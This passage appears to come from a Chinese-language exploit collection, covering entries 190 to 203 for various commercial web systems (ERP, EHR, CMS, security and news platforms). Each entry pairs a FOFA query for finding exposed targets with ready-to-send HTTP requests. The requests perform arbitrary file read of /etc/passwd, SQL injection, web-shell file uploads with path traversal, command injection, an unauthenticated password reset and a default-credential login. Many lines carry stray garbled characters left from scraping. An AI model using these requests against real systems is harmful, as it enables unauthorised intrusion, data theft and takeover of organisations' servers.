User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

( m' F' o; u& P9 \
3 P" W  {+ i6 Y; `190. 短视频矩阵营销系统 poihuoqu 任意文件读取
FOFA：title=="短视频矩阵营销系统"
2 e' P, D6 h( n4 ^1 V; ePOST /index.php/admin/Userinfo/poihuoqu HTTP/2
7 \1 V5 f$ N& K4 q# hHost: your-ip
# J1 k  T( T; R" u* c4 a; bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& o( g6 M) }& G5 L
poi=file:///etc/passwd

6 j: r. \3 p" W
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

0 ^% G; n6 X+ g9 m/ @. B# Rcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
7 V% o# S" t. m9 Y% w- `" ?

9 T5 o6 {4 \) a& n, N7 B$ ?192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
FOFA：title="用户登录_富通天下外贸ERP"
  q, Q* Q9 J7 g  d: M, F; k3 o) GPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
8 c+ ]9 G! e7 `- W. CContent-Type: application/x-www-form-urlencoded
( @$ p8 D9 ]: \( i# w# y
; I% U! e4 F- W7 E
2 h; T! [) G1 P( x<% @ webhandler language="C#" class="AverageHandler" %>
using System;
8 _/ |* ?! k( u2 K  H7 Iusing System.Web;
# k; t4 V  t9 Ipublic class AverageHandler : IHttpHandler
# O" j% V6 a* c4 l3 @$ t{
, T, x. L! e* ^! K3 Jpublic bool IsReusable
4 v/ o* a& P" I1 `{ get { return true; } }
' O; k3 m, W# M& p( O% z3 npublic void ProcessRequest(HttpContext ctx)
{
  U2 D5 C( [; E: mctx.Response.Write("test");
4 p% Q) L' R& `}
}

5 L2 s& H4 o* a4 j$ H: G  [) ~! @
9 o' K6 F3 h0 C. ~4 F193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
FOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
8 h7 o! L7 U5 {9 ^& b, o' _Host:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
/ F! r1 M# w/ ~) K1 \. _User-Agent: Mozilla/5.0
, w5 K/ ~" o' l) f+ S9 k# Z
  b' R, {( q; o% {
POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
Host:
7 J, q. Q  l  p% ?  i7 z2 pUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
" Q9 f: N# E* M8 X( m# X3 E% @Cookie: PHPSESSID=2333333333333;
$ W7 B4 l+ E4 iContent-Type: application/x-www-form-urlencoded
Content-Length: 84
/ P( \0 j6 I% k. C
; e: L# F1 A4 Qparam=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

5 y9 v) J0 d* A3 A+ ]
GET /master/img/config HTTP/1.1
2 W4 Q( X# z, I% b6 b6 ZHost:
& h3 D) s+ P  ^0 {2 I2 }User-Agent: Mozilla/5.0


194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
) S7 R! n3 ]! n  D, K% ZFOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在

6 h' t: [1 A" \7 F. GPOST /servlet/uploadAttachmentServlet HTTP/1.1
Host: host
8 d& X5 C1 {. y6 Y' B0 E. c' U: K9 _4 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
& Z) Q3 j( G7 L) q: ^' ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
% h9 t' G$ c1 |Connection: close
# u* C  ^$ f$ r5 B3 NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
$ c2 K3 v9 l5 }8 w/ H------WebKitFormBoundaryKNt0t4vBe8cX9rZk

& }5 @: S+ \0 m' B9 pContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
1 m! _, D! i$ c/ O3 ^* ~. u# K<% out.println("hello");%>
. \4 j3 M; R( I; A------WebKitFormBoundaryKNt0t4vBe8cX9rZk
Content-Disposition: form-data; name="json"
{"iq":{"query":{"UpdateType":"mail"}}}
) u: L: O5 X  `( C5 ?------WebKitFormBoundaryKNt0t4vBe8cX9rZk--
5 g# U1 S+ S9 ]3 p
5 Q/ C) ?2 o: R+ z2 |
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
# d: z- i% @3 p3 ]+ T! RFOFA：title=="飞鱼星企业级智能上网行为管理系统
POST /send_order.cgi?parameter=operation HTTP/1.1
0 k  H1 q+ L8 O: L0 w: L, P; WHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
& O+ u4 C+ }' B& `Accept: */*
# ?+ x8 w# J6 e) BAccept-Encoding: gzip, deflate
9 u, U* V" f4 ]% q' W; yAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
2 R2 s  a6 k& |- uContent-Length: 68

! q4 {3 |" [9 J& E% K{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
- s4 m" v; j2 F+ q5 k* ]" t- l' B
% K' O3 L& o8 {" f7 C) n2 Q
196. 河南省风速科技统一认证平台密码重置
) ~7 N) a. p7 l) {& e5 N& R; {6 sFOFA：body="/cas/themes/zbvc/js/jquery.min.js"
POST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
9 {6 f. N5 ?2 v9 ^- W* f2 LX-Requested-With: XMLHttpRequest
& c, l9 M) E; s- l  x. O8 R- HHost:
# y" b) u* S; Y9 BAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
- W8 s' q5 M* }8 F  YContent-Length: 45
Connection: close
" y2 S* \% T. L
{"xgh":"test","newPass":"test666","email":""}
% }+ a% v  B! ?* E" u; V
: W9 K0 y# {' a: [
* U8 c1 X8 |8 a- H* x  i
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
8 D' j: B& X" W& Z$ nFOFA：app="浙大恩特客户资源管理系统"
GET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
7 E1 @: n9 \5 }) h6 dHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
) F3 c* i0 `9 i) j; f8 LAccept-Encoding: gzip, deflate
Connection: close
+ v. x0 A% b& ]  ]2 m9 _, A0 \

& n. ~& A7 S5 C
4 D! ~7 H, ]# e" L. A% d198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
) u( C# _" b0 ~/ P, E! K: f. x- pGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
+ M& s. p4 w2 \0 F* `2 }- r' UCookie: sysauth=41273cb2cffef0bb5d0653592624cf64
  N8 r, x1 `- {Accept: */*
2 z$ w3 O! c/ O- k6 {" bAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
4 Q  {4 \* {# `2 C, M: WConnection: close
+ s, s# M4 m$ i
9 |8 z3 D* [4 \' d4 A. \! d, W
199. cockpit系统assetsmanager_upload接口 文件上传
* A( m/ M0 }5 q" @+ X8 f
; a# }5 l7 r/ L" ~! F8 E/ I  l: _1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
3 h" B- k/ {+ P7 R* k; ?GET /auth/login?to=/ HTTP/1.1
% \' a, l% A# V: L0 ^7 h
3 @2 P+ _& j( t9 ^9 R- C响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"

2.使用刚才上一步获取到的jwt获取cookie：

/ M# Z3 Q* i4 I3 S* h/ c% v! oPOST /auth/check HTTP/1.1
/ }7 v+ N( w+ d( d9 L& A. DContent-Type: application/json

% Z4 U) I0 c% g! l" s8 O{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}

0 N: [& U! a8 s6 h! u1 |5 u响应：200，返回值:
9 O# g. b. S) v  ~2 |3 xSet-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
Fofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
1 K, O- {* {' E. D, u: c7 uCookie: mysession=95524f01e238bf51bb60d77ede3bea92
/ y7 X1 ?6 J3 R& R7 B- W
  s  Z: w( \* S# r4 d* z, i-----------------------------36D28FBc36bd6feE7Fb3
" J( u' t+ S7 m8 dContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php
+ Q3 N$ M$ ^' Z( E; u6 z6 [& U  N
6 x: S0 {! ~! \# @<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
  d* p7 ?/ ?) J' r& {7 t. a5 e+ mContent-Disposition: form-data; name="folder"
- v( @; ?, l; o3 \/ L
-----------------------------36D28FBc36bd6feE7Fb3--

, @9 M3 {) K" H7 h! \" P+ }5 Z
/storage/uploads/tttt.php
2 [1 C' B* o' r: F# w- y
200. SeaCMS海洋影视管理系统dmku SQL注入
FOFA：app="海洋CMS"
4 i/ Z3 t: G9 E) @8 ~0 T3 IGET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
! z# x+ t2 k& C  m, AUpgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# M" z7 h: h5 q  u: wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

' g# I: k& M  N: g
201. 方正全媒体新闻采编系统 binary SQL注入
6 {  _+ U" }2 \; rFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
POST /newsedit/newsplan/task/binary.do HTTP/1.1
' @3 c5 C  A9 w! [; @. RContent-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
# ?& {# M5 \3 |/ D; ^7 Q5 G1 BAccept-Encoding: gzip, deflate
5 S$ Z& o% M% g/ k' {: e* t6 LAccept-Language: zh-CN,zh;q=0.9
) S( P) a) a, J9 ~) A8 DConnection: close
9 ~7 c, r  R$ c0 e7 ]$ z$ D9 q
TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1


8 r: I5 o, z, O* j202. 微擎系统 AccountEdit任意文件上传
8 l3 h( @' k4 g, `9 gFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
$ }% F* \  N% W* vGET /User/AccountEdit.aspx HTTP/1.1
Host: 滑板人之家
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
9 l/ [4 D8 G3 k3 {% qContent-Length: 0
$ K* a0 G& J8 `* v2 F/ c) l; T7 X
* |) u4 b9 Q/ _1 z" Y' y) n9 m! {
替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
  s' ?( V5 n3 f1 ]0 R. {4 C2 KAccept-Encoding: gzip, deflate, br
  `, V, Z5 T$ |0 ^' BContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687

. [( ?1 {4 ^- g2 ^-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__VIEWSTATE"

0 Y# `4 L; o, |. o$ c! L__VIEWSTATE
: A! X' p# c$ B2 {; r/ Y-----------------------------786435874t38587593865736587346567358735687
3 g8 t4 E( `, `; _9 E9 p: F* J4 hContent-Disposition: form-data; name="__EVENTVALIDATION"
; X+ f; R# W& n) @# M. w; H( ?; n
__EVENTVALIDATION
. P; @; G* T4 M# p-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
$ R! Q3 F  D+ S5 ?6 s" e) }Content-Type: text/plain
% h+ t5 j" V% |
Hello World!
, b; Y3 }6 s: m5 g0 ^" q3 P& w-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
6 W7 L7 i& X6 F6 ]# U/ F$ @0 W% y
上传图片
2 i# S7 @' [( F! r$ {-----------------------------786435874t38587593865736587346567358735687
" L3 a8 k( Y3 _( LContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"


' k- e1 m) u8 ]( S' z  w/ r-----------------------------786435874t38587593865736587346567358735687
4 G' g$ \% T( \$ u6 k/ f4 @% gContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
- G( \# v2 S, c+ r) R5 n

$ @/ r0 y) n; O  I- z-----------------------------786435874t38587593865736587346567358735687--


/_data/Uploads/1123.txt
; ~, p( y# T, D! ?
* {9 H; v/ |2 ]: \1 J+ |203. 红海云EHR PtFjk 文件上传
& n% i/ `5 @# h# zFOFA：body="RedseaPlatform"
- y/ E" E3 ]5 P' O/ }4 S& TPOST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
( X" M& X# |) u! H; Q5 uHost: x.x.x.x
Accept-Encoding: gzip
3 I* Z. a7 ^1 r" d# |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 R$ T' K  U7 h5 a8 i2 C" g7 A, E  |Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
* j) y$ j% c' A2 ]/ JContent-Length: 210
3 [( U  e  D9 R5 {
/ }; @/ F' w% {# r9 O------WebKitFormBoundaryt7WbDl1tXogoZys4
, G3 W2 ~  e! _. ]9 bContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg
7 S% x1 a4 {4 [8 ~' a# D8 w$ D  z
<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
* ^  {- \! V7 v
: {% I8 L/ J: `9 S0 T2 ~/ L0 B. i
* Y) Q$ A- I3 O( S

- r! N* \. S5 \/ Q( V$ D4 @: B6 j
% D" g9 B0 y! d+ E7 `! I% g" w* \( A